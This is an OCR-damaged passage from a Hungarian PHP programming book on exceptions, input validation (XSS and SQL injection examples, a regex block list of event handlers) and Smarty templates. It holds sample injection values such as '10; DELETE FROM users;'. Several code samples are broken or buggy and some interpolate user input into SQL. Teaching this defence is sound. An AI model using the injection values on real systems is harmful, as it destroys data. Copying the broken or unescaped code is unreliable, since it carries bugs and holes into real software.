Amikor egy adott URL-re elszr hivatkoznak, ezt kell vgrehajtanunk: INSERT INT track_referrers VALUES('http://som.url/ ' , A rkvetkez krelmeknl ennek a vgrehajtsra van szksg: UPDATE track_referrers SET counter=counter+l where url = 'http://som.url/' A tblban val keresssel megllapthatjuk, hogy ltezik-e az URL sora, s annak alapjn kivlaszthatjuk a megfelel lekrdezst. Emgtt azonban meghzdik egy felttelezs; ugyanis ha kt, ugyanarrl az URL-rl rkez hivatkozst kt klnbz folyamat egyszerre dolgoz fel, az egyik beszrs sikertelen lehet. Tisztbb megolds, ha vakon" vgrehajtjuk a beszrst, majd meghvjuk az update-et, ha a beszrs sikertelen volt s egyedikulcs-megsrtst eredmnyezett. Ezutn elkaphatunk minden MysqlException hibt, s a megfelel helyen vgrehajthatjuk a frisstst:
<?php include "DB.inc"; function track_referrer($url) { $insertq = "INSERT INT referrers (url, count) VALUES(:1, :2)"; $updateq = "UPDATE referrers SET count=count+l WHERE url = :1"; $dbh = new DB_Mysql_Test; try { $sth = $dbh->prepare($insertq) ; $sth->execute($url, 1); } catch (MysqlException $e) { if($e->getCode == 1062) { $dbh->prepare($updateq)->execute($url); } else { throw $e; } } } ?>

1)

A msik megolds, hogy tisztn tpusos kivtelt alkalmazunk, s maga az execute a hiba alapjn klnbz kivteleket vlt ki: class Mysql_Dup_Val_On_Index extends MysqlException {} //... class DB_Mysql { // ...

98

PHP fejleszts felsfokon

public function execute($query) { if(!$this->dbh) { $this->connect(); } $ret = mysql_query($query, $this->dbh); if(l$ret) { if(mysql_errno() == 1062) {

throw new Mysql_Dup_Val_On_Index; else { throw new MysqlException;


} }

else if(!is_resource($ret)) { return TRUE; } else { return new MysqlStatement($ret);


} } }

Ezutn az ellenrzst a kvetkezkppen vgezhetjk el: function track_referrer($url) { $insertq = "INSERT INT referrers ( ur l , count) VALUES('$url' , 1)"; $updateq = "UPDATE referrers SET count=count+l WHERE url = '$url'"; $dbh = new DB_Mysql_Test; try { $sth = $dbh->execute($insertq);
}

catch (Mysql_Dup_Val_On_Index $e) $dbh->execute($updateq);


} }

Mindkt mdszer megfelel; csak zlsnktl s az alkalmazott stlustl fgg, melyiket vlasztjuk. Ha a tpusos kivtelek mellett dntnk, nagyobb rugalmassgot rhetnk el, ha a Gyr minta segtsgvel lltjuk el a hibkat, mint itt is: class MysqlException { // . . . static function createError($message=false, $code=false) i f( !$ cod e) { $code = mysql_errno() ;
}

if(!$message) { $message = mysql_error();


}

3. fejezet Hibakezels

99

switch($code) { case 1062: return new Mysql_Dup_Val_On_Index($message, break; default: return new Mysql_Exception($message, $code); break;
} } }

$code);

A jobb olvashatsg tovbbi elnyt jelent. Nem valamilyen titokzatos llandt dobunk, hanem egy beszdes osztlynevet hasznlunk. Ennek jelentsgt nem szabad albecslni. Most mr ahelyett, hogy adott hibkat vltannk ki a kdban, elg ezt rnunk:
throw MysqlException::createError();

Konstruktrn belli hibk kezelse


A konstruktrn belli hibk kezelse egy objektumban meglehetsen nehz. Az osztlykonstruktoroknak a PHP-ben az adott osztly egy pldnyt kell visszaadniuk, gy a lehetsgek korltozottak: Hasznlhatunk egy kezdrtkkel elltott tulajdonsgot az objektumban, ami jelzi, hogy az objektum elksztse megfelel volt-e. A konstruktorban nem vgznk elksztst. Kivtelt vltunk ki a konstruktorban. Az els megolds nem tl elegns, s komolyan nem is vesszk fontolra. A msodik azonban meglehetsen ltalnos mdja a hibz konstruktrk kezelsnek; a PHP4-ben ez egyenesen a javasolt mdszer. A megvalsts valahogy gy trtnhet: class ResourceClass { protected $resource; public function _____construct() { // felhasznlnv, jelsz stb. belltsa
}

public function init() { if ( ($this->resource = resource_connect()) return fals;


}

== fals)

return true;
} }

100

PHP fejleszts felsfokon

Amikor a felhasznl ltrehoz egy j ResourceClass objektumot, nem csinlunk semmit, gy hiba lphet fel. Ahhoz, hogy tnylegesen elindtsunk egy esetleg hibs kdot, az init () tagfggvnyt hvjuk meg, ami kvetkezmny nlkl sikertelen lehet. A harmadik mdszer ltalban a legjobb, s ezt az a tny is megersti, hogy ez a konstruktrn belli hibk kezelsnek szabvnyos mdja az olyan hagyomnyosabb objektumkzpont nyelvekben, mint a C++. A C++-ban a konstruktorhvsoknl elhelyezett catch blokkokban szerepl takarts valamivel fontosabb, mint a PHP-ben, mert esetleg memriakezelsre lehet szksg. Szerencsre a PHP nmkden intzi a memriakezelst, mint itt is: class Stillborn { public function______ construct() throw new Exception;
}

public function___ destruct() { print "destructing\n" ; } } try {

$sb = new Stillborn;


}

catch(Stillborn $e)

{}

Ha a fenti kdot futtatjuk, semmilyen kimenetet nem kapunk: >php stillborn.php > A Stillborn osztly azt illusztrlja, hogy az objektum destruktorai nem hvdnak meg, ha a konstruktorban kivtel keletkezik. Ennek oka az, hogy az objektum valjban nem is ltezik, ha a konstruktrbl nem trnk vissza.

Fels szint kivtelkezel belltsa


A PHP rdekes szolgltatsa, hogy kpesek vagyunk alaprtelmezett kivtelkezelt belltani, amelynek meghvsra akkor kerl sor, ha egy kivtel elri a legfels szint hatkrt, s elfogsra mg mindig nem kerlt sor. Ez a kezel abban klnbzik a norml catch blokkoktl, hogy egyetlen fggvnybl ll, ami brmilyen el nem fogott kivtelt elkap, annak tpustl fggetlenl (mg azokat a kivteleket is, amelyek nem az Exception-tl szrmaznak). Az alaprtelmezett kivtelkezelk klnsen hasznosak a webes alkalmazsokban, ahol meg szeretnnk akadlyozni, hogy a felhasznl hibazenetet kapjon, vagy egy oldal csak rszben jelenjen meg, ha el nem kapott kivtel keletkezik. Ha hasznljuk a PHP t-

3. fejezet Hibakezels

101

meneti kimenettrolsi (output buffering) lehetsgt, hogy az oldal teljes feldolgozsig ksleltessk a tartalommegjelentst, elegnsan kijavthatjuk a hibt s tadhatjuk a felhasznlnak a krt oldalt. Alaprtelmezett kivtelkezel belltshoz egy olyan fggvnyt kell meghatroznunk, ami egyetlen paramtert vr: function default_exception_handler($exception) A fggvnyt gy lltjuk be: $old_handler = set_exception_handler('default_exception_handler'); Itt az elzleg belltott alaprtelmezett kivtelkezelt kapjuk vissza (ha az ltezik). A felhasznli kivtelkezelk egy veremben troldnak, ezrt a korbbi kezelt gy llthatjuk vissza, hogy annak egy msolatt a verem tetejre helyezzk: set_exception_handler($old_handler); De azt is megtehetjk, hogy kivesszk a verembl a fels elemet: restore_exception_handler(); Ez jelents rugalmassgot nyjt, pldul abban az esetben, ha egy felhasznlt egy lap ellltsa kzben fellpett hiba miatt msik oldalra kell tirnytanunk. Ahelyett, hogy minden krdses utastst nll try blokkba csomagolnnk, bellthatunk egy alaprtelmezett kivtelkezelt, ami az tirnytst kezeli. Mivel hiba akkor is bekvetkezhet, amikor az oldal egy rsze mr megjelent, az tmeneti kimenettrolst be kell kapcsolnuk. Ennek egyik mdja, hogy minden begyazott program (szkript) elejn meghvjuk ezt: ob_start(); A msik, hogy a php. ini llomnyban ezt a belltst adjuk meg: output_buffering = On Az elbbi elnye, hogy az egyes begyazott programokban a viselkedst knnyebben kibe kapcsolhatjuk, s a kd hordozhatbb is lesz (mivel a viselkedst a program szablyozza, nem alaprtelmezettl eltr . ini belltst ignyel). A msodik megolds viszont azzal az elnnyel jr, hogy egyetlen belltson keresztl engedlyezhetjk az tmeneti kimenettrolst valamennyi begyazott programban, gy nem kell mindentt kln {}

102

PHP fejleszts felsfokon

kdot beszrnunk erre a clra. n ha olyan kdot rok, amirl tudom, hogy csak a sajt kiszolglmon fog futni, ltalban a knnyebbsget jelent . ini belltst rszestem elnyben. Ha viszont olyan szoftvert ksztek, amelyet msok fognak futtatni kiszolglikon, a leginkbb hordozhat megolds mellett dntk. Tbbnyire mr a projekt elejn vilgos, milyen megkzeltst kell alkalmazni. Az albbi plda egy olyan alaprtelmezett kivtelkezelt mutat, ami brmilyen el nem fogott kivtel esetn automatikusan ltrehoz egy hibaoldalt:
<?php

function redirect_on_error( $e) ob_end_clean(); include("error.html");


}

set_exception_handler("redirect_on__error"); ob_start(); // ...ide tetszleges kd jhet ?> Ez a kezel gy tmaszkodik az tmeneti kimenettrolsra, hogy amennyiben egy el nem kapott kivtel elri a legfels hvsi hatkrt, minden addig ellltott tartalmat elvet, s helyette egy HTML hibaoldalt ad vissza. A kezel tovbb javthat, ha azzal a kpessggel bvtjk, hogy egyes hibatpusokat klnbzkppen kezeljen. Ha pldul egy AuthException kivtelt vltunk ki, a felhasznlt egy hibaoldal megjelentse helyett a bejelentkez oldalra irnythatjuk:
<?php function redirect_on_error($e) { ob_end_clean(); if(is_a($e, "AuthException")) { header("Location: /login.php"); } else { include("error.html"); } } set_exception_handler("redirect_on_error"); ob_start(); // ...ide tetszleges kd jhet ? >

3. fejezet Hibakezels

103

Adatrvnyests
A webes programozsban a hibk egyik jelents forrsa az gyfl ltal megadott adatok ellenrzsnek (rvnyestsnek) elmulasztsa. Az adatrvnyests azt jelenti, hogy ellenrizzk, hogy az gyfltl kapott adatok valban a kvnt formjak-e. A nem rvnyestett adatok ktfle jelentsebb hibt eredmnyezhetnek: adatszemetet, s rosszindulatan mdostott adatokat. Az adatszemt olyan informci, ami egyszeren nem felel meg az elrsoknak. Vegynk pldul egy felhasznli bejelentkezsi rlapot, amelyen fel kell tntetni a fldrajzi helyet. Ha a felhasznl szabadon berhat brmit, az llam helyn pldul ilyesmiket tallhatunk: New Yrok (elrs) Lalalala (szndkos) Gyakori megolds, hogy ezt a problmt lenyl listval kerlik meg, amelybl kivlaszthat az llam neve. Ez azonban csak flig oldja meg a gondot: azt megakadlyozza, hogy a felhasznl vletlenl rosszul adja meg az llamot, de az ellen mr nem nyjt vdelmet, ha valaki rosszindulatan mdostja a POST adatokat, hogy nem ltez belltst adjon meg. Vdelmet az adhat, ha mindig rvnyestjk az adatokat a programban is. Ennek egyik mdja, hogy sajt kezleg" ellenrizzk a felhasznli bemenetet, mieltt brmit csinlnnk vele: <?php $STATES = a r r a y( ' a l ' => 'Alabama', /* ... * / , 'wy' => 'Wyoming1); function is_valid_state($state) { global $STATES; return array_key_exists($STATES, $state) ;
} ?>

n gyakran vlasztom azt a megoldst, hogy rvnyest tagfggvnyeket adok az osztlyokhoz. Ezek egysgbe zrjk az ellenrzst, s megakadlyozzk, hogy vletlenl kihagyjam valamelyik tulajdonsg rvnyestst. me egy plda: <?php
class User { public id; public name; public city;

104

PHP fejleszts felsfokon

public state; public zipcode; public function __construct($attr = fals) { if($attr) { $this->name = $attr['name']; $this->email = $attr['email']; $this->city = $attr['city']; $this->state = $attr['state']; $this->zipcode = $attr['zipcode']; } } public function validateO { if(strlen($this->name) > 100) { throw new DataException; } if (strlen($this->city) > 100) { throw new DataException; } if(!is_valid_state($this->state)) { throw new DataException; } if(!is_valid_zipcode($this->zipcode)) { throw new DataException; } } } ?>

A validate () tagfggvny a User objektum valamennyi tulajdonsgt ellenrzi, belertve a kvetkezket: az adatbzismezk hossznak val megfelels, az idegen kulcs adatmegszortsok kezelse (pldul hogy a felhasznl ltal megadott llam ltezik-e), az rlapadatok megszortsainak kezelse (pldul hogy az irnytszm rvnyes-e). A validate () tagfggvny hasznlatba vtelhez csak ltre kell hoznunk egy j User objektumot az ellenrizend felhasznli adatokkal: $user = new User($_P0ST) ; Majd meg kell hvnunk r az rvnyest fggvnyt: try { $user->validate();
}

3. fejezet Hibakezels

105

catch (DataException $e) { /* Ide jn az rvnytelen adat esetn vgrehajtand mvelet */


}

Az, hogy a validate () nem egyszeren egy true vagy fals rtket ad vissza, hanem egy kivtelt alkalmazunk, ismt azzal az elnnyel jr, hogy ha ezen a ponton egyltaln nem is szeretnnk try blokkot, megtehetjk, hogy a kivtelt addig tovbbtjuk a hvsi lncon, amg a megfelel kezelhz nem r. A rosszindulat adatok kz termszetesen nem csak nem ltez llamok tartozhatnak. A rossz adatokhoz kapcsold rvnyestsi tmadsok legnevezetesebbikt cross-site scripting attack (kb. helykzi programtmads") nven emlegetik, s abbl ll, hogy rosszindulat HTML kdot (ltalban gyfl oldali kdcmkket, pldul JavaScript cmkket) rejtenek el egy felhasznli rlapon. Lssunk egy egyszer pldt. Webhelynk felhasznlinak megengedjk, hogy a webhelyen sajt honlapjukra mutat hivatkozsokat helyezzenek el, amelyek valahogy gy jelennek meg: <a href="<?= $url ?>">Click on my home page</a> Itt az url a felhasznl ltal megadhat tetszleges adatot jelent, gy berhatnak valami ilyesmit: $url ='"http://example.foo/" onClick="bad_javascript_func foo="'; Amikor a lapot betltik, a kvetkez megjelentsre kerl sor: <a href="http://example.foo/" onClick="bad_javascript_func foo="> Click on my home page </a> Amikor valaki a hivatkozsra kattint, a fenti kd kvetkeztben vgrehajtdik a rosszindulat bad_javascript_func. St, mivel a mi weblapunk indtja el, a JavaScript kd teljes hozzfrssel rendelkezik a felhasznlnak az adott tartomnyhoz tartoz stijei felett, ami nagyon rossz, mert gy a rosszindulat felhasznlk mdosthatjk, ellophatjk vagy ms mdon felhasznlhatjk msok adatait. Mondanunk sem kell, hogy a weblapokon megjelentett felhasznli adatok megfelel rvnyestse ltfontossg minden webhely biztonsga szemponjbl. A kiszrni kvnt kdcmkket termszetesen sajt mkdsi szablyaink hatrozzk meg; n pldul drki szigorral visszautastok minden szveges adatot, ami JavaScript lehet.

106

PHP fejleszts felsfokon

me egy plda:
<?php $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML [ ] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[]

= = = = = = = = = = = = = = = =

"!javascriptAs*:!is"; "!vbscri?pt\s*:!is"; "!<\s*embed.*swf!is"; "!<[A>]*[Aa-z]onabort\s*=!is"; " ! < [ A > ] * [ Aa-z] onblur\s*= ! is " ; "!<[A>]*[Aa-z]onchange\s*=!is" ; " ! < [ " > ] * [Aa-z]onfocus\s*=!is"; "! < [ A > ] *[Aa-z]onmouseout\s*=!is"; " ! < [ " > ] * [Aa-z]onmouseover\s*=!is"; " ! < [ A>]*[Aa-z]onload\s*=!is" ; "!<[A>]*[Aa-z]onreset\s*=!is"; "!<[A>]*[Aa-z]onselect\s*=!is " ; "!< [ A>]*[Aa-z]onsubmit\s*=!is"; " !< [ A>]*[Aa-z]onunload\s*=!is"; "!<[A>]*[Aa-z]onerror\s*=!is"; "!<[A>]*[Aa-z]onclick\s*=!is" ;

function unsafe_html($html) { global $UNSAFE_HTML; $html = html_entities($html, ENT_COMPAT, ISO-8 8 5 9 -1 ); foreach ( $UNSAFE_HTML as $match ) { if( preg_match($match, $html, $matches) ) { return $match; } } return fals; } ?>

Ha a kzvetlenl cmkkbe ptett szvegeket engedlyezni kvnjuk (mint az elz pldban), clszer minden olyan szveget kiszrnnk, ami gyfl oldali kdra hasonlt. Lssunk egy pldt:
$UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[] $UNSAFE_HTML[ ] = = = = = = = = = = = = = "!onabort\ s*= !is " ; "!onblur\s*=!is"; "!onchange\s*=!is"; "!onfocus\s*=!is"; "!onmouseout\s*= !is"; "!onmouseover\s*=!is"; "!onload\s*=!is"; "!onreset\s *= !is"; "!onselect\s*=!is"; "!onsubmit\s*=!is"; "!onunload\s*=!is"; "!onerror\s*=!is"; " !onclck\s*=!is";

3. fejezet Hibakezels

107

Gyakran vonz lehet, hogy bekapcsoljuk a magic_quotes_gpc belltst a php. ini llomnyban, ami automatikusan idzjelbe teszi a berkez adatokat. n magam nem szeretem a magic_quotes-t. Egyeseket hamis biztonsgrzetbe ringathat, pedig knnyen rhat olyan kd, ami az emltett pldhoz hasonlan akkor is kpes krt okozni, ha a magic_quotes belltst bekapcsoljuk. Adatrvnyestskor (klnsen a megjelentend adatoknl) gyakran vlaszthatunk akztt, hogy a szrst s talaktst az adatok trolsakor (inbound, bejv szrs), vagy az adatok megjelentsekor (outbound, kimen szrs) vgezzk el. A bemenet szrse ltalban hatkonyabb s biztonsgosabb. Csak egyszer kell vgrehajtani, s a lehet legkisebbre cskkenthet annak kockzata, hogy megfeledkeznk az ellenrzsrl, ha tbb helyen kell megjelenteni az adatokat. A kimenet szrse mellett kt rv szlhat: Testreszabhat szrkre van szksgnk (pldul tbbnyelv szrshez). Tartalomszrink gyakran vltoznak. A msodik esetben valsznleg az a legjobb, ha az ismert rosszindulat tartalmat megprbljuk a bemeneten kiszrni, s a kimenetre egy msodik szrst alkalmazunk.

Tovbbi adatrvnyestsi krdsek

A weblapok megjelentse nem az egyetlen hely, ahol az rvnyestetlen adatokat kihasznlhatjk. A felhasznlktl rkez minden adatot ellenrizni kell, s hasznlat eltt ki kell takartani". Az adatbzis-lekrdezsekben pldul a beszrand adatokat megfelelen idzjelbe kell tenni. Az ilyen talakt mveleteket segdfggvnyek tmogatjk. Nzzk az gynevezett SQL-beszrsi (SQL injection) tmadsokat. Tegyk fel, hogy az albbi lekrdezssel rendelkeznk: $query = "SELECT * FROM users where userid = $userid"; Az emltett tmadsfajta gy mkdik, hogy ha a $userid vltozt nem rvnyestjk, egy rosszindulat felhasznl a kvetkezt adhatja meg: $userid = "10; DELETE FROM user s; "; Mivel a MySQL (szmos ms RDBMS rendszerhez hasonlan) tmogatja tbb lekrdezs egyidej vgrehajtst, a fenti rtk ellenrizetlen tadsa kvetkeztben a users tblt elvesztjk. s ez csak egy az ilyen jelleg tmadsok kzl. A tanulsg az, hogy a lekrdezsekben mindig minden adatot rvnyestennk kell.

108

PHP fejleszts felsfokon

Mikor hasznljunk kivteleket?


Szmos nzet ltezik arra vonatkozan, hol s hogyan clszer kivteleket alkalmazni. Egyes programozk szerint a kivteleknek csak a vgzetes, illetve a valsznleg vgzetes hibkat kell jeleznik. Msok a kivteleket a kdlogika vezrlsnek alapvet elemeiknt hasznljk. A Python programozsi nyelv j plda az utbbi megkzeltsre; e nyelvben a kivtelek szokvnyos vezrlsi szerkezetnek szmtanak. A dnts nagyrszt az alkalmazott stlustl fgg, s n sztnsen bizalmatlan vagyok azokkal a nyelvekkel szemben, amelyek megprblnak elrni egy bizonyos stlust. Ama dntst megknnytend, hogy hol s mikor hasznljunk kivteleket, rdemes tfutni a buktatk albbi listjt: A kivtelek vezrlsi szerkezetek, mint az if {}, az else{}, a while{} s a foreach{}. A kivtelek nem helyi vezrlsre (pldul egy kdblokkbl egy msik hatkrbe ugrsra) val hasznlata nehezen tlthat kdot eredmnyez. A kivtelek nmileg lassabbak a hagyomnyos vezrlsi szerkezeteknl. A kivtelek nvelik a memriaszivrgs eslyt.

Tovbbi olvasmnyok
A helykzi tmadsokkal s a rosszindulat HTML kdokkal kapcsolatban az els szm forrs a CERT CA-2000-02-es ajnlsa, ami a www. cert. org/advisories/ CA-2 00 0-02.html cmen rhet el. Mivel a kivtelek tbb-kevsb jdonsgnak szmtanak a PHP-ben, hasznlatukkal kapcsolatban valsznleg rdemesebb Java s Python knyveket lapozgatnunk. A kivtelek nyelvtana a PHP-ben hasonl a Javhoz s a Pythonhoz (br - fleg az utbbihoz kpest - finom klnbsgeket mutat), az alaptlet viszont azonos.

Megvalsts PHP nyelven: a sablonok s a Vilghl


A webes programozsban gyakran hasznlt objektumkzpont programozsi minta a modell-nzet-vezrl (MVC, Model-View-ControUer). Az MVC megkveteli, hogy az alkalmazst hrom sszetevre bontsuk: Modell - A rendszer azon bels rsze, amely a logika kzponti rszt hajtja vgre. Nzet - A rendszer valamennyi kimenetnek formzsrl gondoskod rsz. Vezrl - A bemenetet feldolgoz, s azt a modell fel kzvett rsz. Az MVC eredetileg olyan gyors asztali alkalmazsok fejlesztsre szolgl mdszer volt a Smalltalk nyelvben, amelyekben egy adott folyamat tbbflekppen fogadhat adatokat s llthat el kimenetet. A legtbb webes rendszer azonban egyetlen mdon fogad adatokat (valamilyen HTTP krelmen keresztl), a bemenet feldolgozst pedig annak mrettl fggetlenl maga a PHP vgzi, ezltal nem kell trdnnk a vezrl sszetevvel. Miutn a vezrlt eltvoltottuk, csak az marad htra, hogy sztvlasszuk az alkalmazslogikt a megjelentsi kdtl. Ez a kvetkez elnyket biztostja: Az alkalmazs knnyebben mdosthat lesz. A tiszta sztvlaszts rvn knnyen mdosthatjuk mind az alkalmazslogikt, mind az oldalak kls megjelenst, anlkl, hogy ez hatssal lenne a msik sszetevre. Tisztbb kdot kapunk. Mivel arra knyszerlnk, hogy eldntsk, mi tartozik az alkalmazslogikhoz s mi a megjelentsi kdhoz, a program sokkal jobban tlthat. Maximalizlhatjuk a megjelentsi kd jrahasznostst. A PHP-ben megszokott a kdok jrahasznostsa, de ha az alkalmazskdot sszekeverjk a HTML-lel, ez sokkal nehezebb.

i^

110

PHP fejleszts felsfokon

Az MVC-t webes krnyezetben ltalban sablonok segtsgvel valstjk meg. Sablonrendszer hasznlatnl a HTML-t s a megjelentsi kdot egy sablon tartalmazza. A megjelentssel nem foglalkoz alkalmazslogika feldolgozza a krelmeket, elvgzi a szksges mveleteket, majd tadja a nyers adatokat a sablonnak, hogy az formzott kimenetet lltson el. A PHP-ben szmos mdja van a sablonok alkalmazsnak. Ebben a fejezetben a Smarty sablonnyelwel ismerkednk meg, ami az egyik legnpszerbb s legrugalmasabb megolds, de azt is megmutatjuk, hogyan dolgozhatunk ki sajt sablonrendszert, ha a Smarty-t nem talljuk szmunkra megfelelnek. A Smarty tisztn sablonnyelv, ezrt igen egyszer, de amint vezrlsi szerkezeteket, egyni fggvnyeket s mdostkat kezdnk hasznlni, hamar bonyolultt vlhat. Ha valaki kpes sszetett logikt megvalstani a Smarty-ban, az ugyanerre a PHP-ben is kpes ami nem felttlenl rossz dolog. A PHP maga is remekl megfelel sablonnyelvnek, hiszen olyan eszkzket biztost, amelyekkel a formzsi s megjelentsi utastsok egyszeren bepthetk a HTML kdba. Ha olyan krnyezetben dolgozunk, ahol a tervezk jl ismerik a PHP-t, s az egsz csapat (belertve a tervezket s a fejlesztket is) kpes fegyelmezetten sztvlasztani a mkdsi s megjelentsi kdot, formlis sablonnyelvre nincs is igazn szksg. Nekem ugyan soha nem volt gondom olyan tervezkkel, akik ne tudtak volna mit kezdeni a HTML-be ptett PHP kdokkal, de ismerseim kztt akadtak, akik szenvedtek olyan tervezcsapattal, amelynek tagjai nem tudtk kezelni az oldalakba gyazott PHP-t, de a Smarty-val sikeresen megoldottk a gondjaikat. Mg ha a csapat tud is bnni a PHP-vel, a sablonrendszerek rknyszertik ket a megjelents s az alkalmazsvezrls sztvlasztsra, ami j. A megjelentsi s mkdsi kd formlis sztvlasztsa mellett a Smarty-hoz hasonl sablonnyelvek legnagyobb elnye, hogy a nem megbzhat vgfelhasznlknak anlkl adnak lehetsget dinamikus oldalak ksztsre, hogy hozzfrst nyjtannak a PHP kdhoz. Ilyen megoldsra lehet szksg pldul, amikor virtulis bolt nyitsra, testreszabhat szemlyes oldalak ksztsre vagy sablon alapjn elektronikus levl rsra szeretnnk lehetsget adni.

Smarty
A Smarty az egyik legnpszerbb s legszlesebb krben hasznlt sablonrendszer a PHP szmra. Mont Ohrt s Andrej Zmijevszki dolgoztk ki mint gyors s rugalmas sablonrendszert az alkalmazsi s megjelentsi kd sztvlasztsnak sztnzsre. A Smarty a sablonfjlokban elhelyezett klnleges jelek segtsgvel mkdik, melyeket trolt PHP programm fordt. A fordts a httrben zajlik s a futs sebessge elfogadhatan gyors.

fejezet Megvalsts PHP nyelven: a sablonok s a Vilghl

111

A Smarty jcskn tartalmaz felesleges dolgokat is, amiket nem rdemes hasznlnunk. A legtbb sablonrendszerhez hasonlan olyan szolgltatsokkal duzzasztottk fel, amelyek rvn a sablonokban bonyolult kdokat helyezhetnk el. Termszetesen ignyeinktl fgg, mely szolgltatsokat tiltjuk le vagy hagyjuk figyelmen kvl. (Errl a fejezetben ksbb mg ejtnk szt.)

A Smarty teleptse
A Smarty, amelyet a http: / / smarty. php. net cmrl tlthetnk le, PHP osztlyok halmazbl ll. n gyakran hasznlom a PEAR-t, gy azt javaslom, a Smarty-t vegyk bele a PEAR include elrsi tjba. A Smarty ugyan nem PEAR projekt, de nincsenek kztk nvtkzsek, teht biztonsgosan elhelyezhet a PEAR hierarchiban. Ha letltttk a Smarty-t, msoljuk minden knyvtrt a PEAR egy alknyvtrba, valahogy gy;
> tar zxf Smarty-x.y.z.tar.gz > mkdir /usr/local/lib/php/Smarty

> cp -R Smarty-x.y.z/libs/* /usr/local/lib/php/Smarty Termszetesen az /usr/local/lib/php-nek szerepelnie kell a php. ini llomny include elrsi tjban. Ezutn knyvtrakat kell ltrehoznunk, amelyekbl a Smarty kiolvashatja bellt- s sablonfjljait, illetve helyet kell biztostanunk a lefordtott sablonoknak s az tmenetileg trolt fjloknak is. A belltsi s nyerssablon-knyvtrakat n ltalban az lloms dokumentumgykerbe (DocumentRoot) helyezem, gy ha az a /data/www/www.example . org/htdocs, az emltett knyvtrak a kvetkezk lesznek: /data/www/www.example.org/templates /data/www/www.example.org/smarty_config A Smarty belsleg ktszint tmeneti trolst tartalmaz. Az els szintet az jelenti, hogy amikor elszr tekintnk meg egy sablont, a Smarty tiszta PHP kdra fordtja azt, s menti az eredmnyt. Ez a trolsi lps megakadlyozza, hogy a sablonkdokat az els krelem utn is minden alkalommal fel kelljen dolgozni. A msodik szint, hogy a Smarty az ppen megjelentett tartalom tmeneti trolst is megengedi. E szint engedlyezsvel a fejezetben ksbb foglalkozunk. A lefordtott sablonokat s trolt fjlokat a webkiszolgl rja lemezre a sablonok els felhasznlsakor, gy knyvtraikhoz annak a felhasznlnak, akinek a nevben a kiszolgl

112

PHP fejleszts felsfokon

fut, rsi jogosultsggal kell rendelkeznie. Biztonsgi megfontolsokbl n nem szeretem, ha a webkiszolgl a ServerRoot alatt brmilyen llomnyt mdosthat, ezrt az emltett knyvtrakat egy msik knyvtrfba helyezem: /data/cachefiles/www.example.org/teinplates_c /data/cachefiles/www.example.org/smarty_cache A legegyszerbben gy rtesthetjk a Smarty-t a knyvtrak helyrl, ha a Smarty alaposztlyt kibvtjk minden alkalmazs (nem minden oldal) szmra, amely hasznlja. Az example. org Smarty alosztlyt pldul ezzel a kddal hozhatjuk ltre: require_once 'Smarty/Smarty.class.php';

class Smarty_Example_Org extends Smarty { public function ______construct()


{

$this->Smarty0; $this->template_dir /data/www/www.example.org/templates'; $this->config_dir /data/www/www.example.org/smarty_config' $this->compile_dir '/data/cachefiles/www.example.org/templates_c' $this->cache_dir '/data/cachefiles/www.example.org/smarty_cache } }

Els Smarty sablonunk: Hello, Vilgi


Most, hogy a Smarty a helyre kerlt, s a knyvtrakat ltrehoztuk, megrhatjuk els Smarty oldalunkat. Az albbi tiszta PHP oldalt fogjuk sablonn alaktani:
<html> <body> Hello <?php if(array_key_exists('name' ech $_COOKIE['name']; } else { ech "Stranger"; } ?> </body> </html>

$_COOKIE)) {

|4. fejezet Megvalsts PHP nyelven: a sablonok s a Vilghl

113

A sablon elrsi tja a /data/www/www. example . org/templates/hello. tpl lesz, s gy fog kinzni:
<html> <body> Hello {$name} </body> </html>

A Smarty-kdok alaprtelmezs szerint kapcsos zrjelek kz kerlnek. A hello, php oldal, amely ezt a sablont hasznlja, gy fest: require_once 'Smarty_ExampleOrg.php'; //Sajt Smarty osztlyunk $smarty = new Smarty_ExampleOrg; $name = array_key_exists{'name', $_COOKIE) ? $_COOKIE['name'] 'Stranger'; $smarty->assign('name', $name); $smarty->display('index.tpl');

Jegyezzk meg, hogy a sablonban, illetve a hello.php-ben szerepl $name kt klnbz vltoz. Ahoz, hogy a $name vltoz elrhet legyen a sablonban, hozz kell rendelnnk a Smarty nvtrhez, az albbi kd vgrehajtsval: $smarty->assign('name', $name); Ha a www. example. org/hello. php oldalt olyan stitmbbel krjk le, amely tartalmaz name vltozt, a kvetkez oldalt kapjuk:
<html> <body> Hello George </body> </html>

Lefordtott sablonok a httrben


Amikor a hello .php-t elszr krik le, s meghvdik a display (), a Smarty szreveszi, hogy a sablonnak nincs lefordtott vltozata. Ezrt feldolgozza a sablont, s a benne szerepl Smarty-kdokat megfelel PHP kdokk alaktja. Ezutn az informcit a templates_c knyvtr egy alknyvtrba menti. A hello .php lefordtott sablonja gy fest: <?php /* Smarty version 2 . 5 . 0 , created on 2003-11-16 15:31:34 compiled from hello.tpl */ ?>

114

PHP fejleszts felsfokon

<html> <body> Hello <?php ech $this-> tpl_vars['name']; ?> </body> </html>

Ha ezutn krelem rkezik, a Smarty megllaptja, hogy a sablonhoz mr ltezik lefordtott vltozat, gy jrafordts helyett azt hasznlja. A $this->tpl_vars [ ' name ' ] a {$name} Smarty-kd PHP fordtsa. A tmbt a $smarty->assign [ ' name ' , $name] hvs tlttte fel a hello .php-ben. A Smarty vezrlsi szerkezetei Az egyszer vltozbehelyettests hasznlata a Smarty-t ltszatra rendkvl erteljess teszi. A sablonok vilgosak s egyszerek, s a httrkd sem bonyolult. Persze eddigi pldink mestersgesek voltak - a valdi prbattel az, ha vals krnyezetben prbljuk ki a termket. Az els kihvssal valsznleg akkor tallkozunk egy sablonrendszer hasznlata sorn, amikor tblzatokat kell ptennk s felttelek alapjn kell adatokat megjelentennk. Ha webhelynk egy bejegyzett felhasznlja megltogatja a hello .php oldalt, egy hivatkozst szeretnnk megjelenteni az adott taghoz tartoz bejelentkez oldalra. Kt lehetsgnk van. Az els, hogy ezt a PHP kdban vgezzk el, az albbihoz hasonl mdon: /* hello.php */ $smarty 